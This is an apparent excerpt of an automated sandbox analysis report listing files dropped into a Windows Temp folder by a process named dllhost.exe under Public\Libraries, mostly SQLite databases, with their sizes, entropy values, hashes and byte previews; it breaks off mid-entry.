                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\2Vu2WS8tvk

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\2eC3fIu9Gj

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\2fB4DQoLor

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\2oElEAJsmt

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\2qQoVgjPvN

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\2xOAyZkPzO

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\2z1Jey3Yy3

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\3OerhbjlhF

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\4VlyoHXMpa

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\513HBVoPoN

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\52UALFiqVi

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\58TrVy4VBA

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\5FAzb3Seq2

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\5LzFFKkprj

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\5UgwodHrx5

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\5vViwP0bKV

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\6PGSC2zxSP

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\6iupd68qYC

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\6uSYy54S5b

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):25
                                                                                                                                      Entropy (8bit):4.243856189774724
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:3:ArWVbBm:XW
                                                                                                                                      MD5:81829EE5D660D2DB5356F936BCFC5C05
                                                                                                                                      SHA1:646F303DC3EBD438210D9F53013C555410FB84E5
                                                                                                                                      SHA-256:2F396DE6FB5D91B00383E77CA5083905EBB08C45141693713A203B2770EBA352
                                                                                                                                      SHA-512:FD6FF7604B58F3EDE0C0D249DE97B1AE9645D2154DDC53DAEDB6CF9774CF88A9420D28E277A08BE065AC888A34348C42751DACAD89990428F65477A922B4D7C7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:KKsNPy0jrZDhdjh73I4VzJPDX

                                                                                                                                      C:\Users\user\AppData\Local\Temp\74aDJEqUw8

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\7OJ5QGdjYT

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\7P4Y3qMahB

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
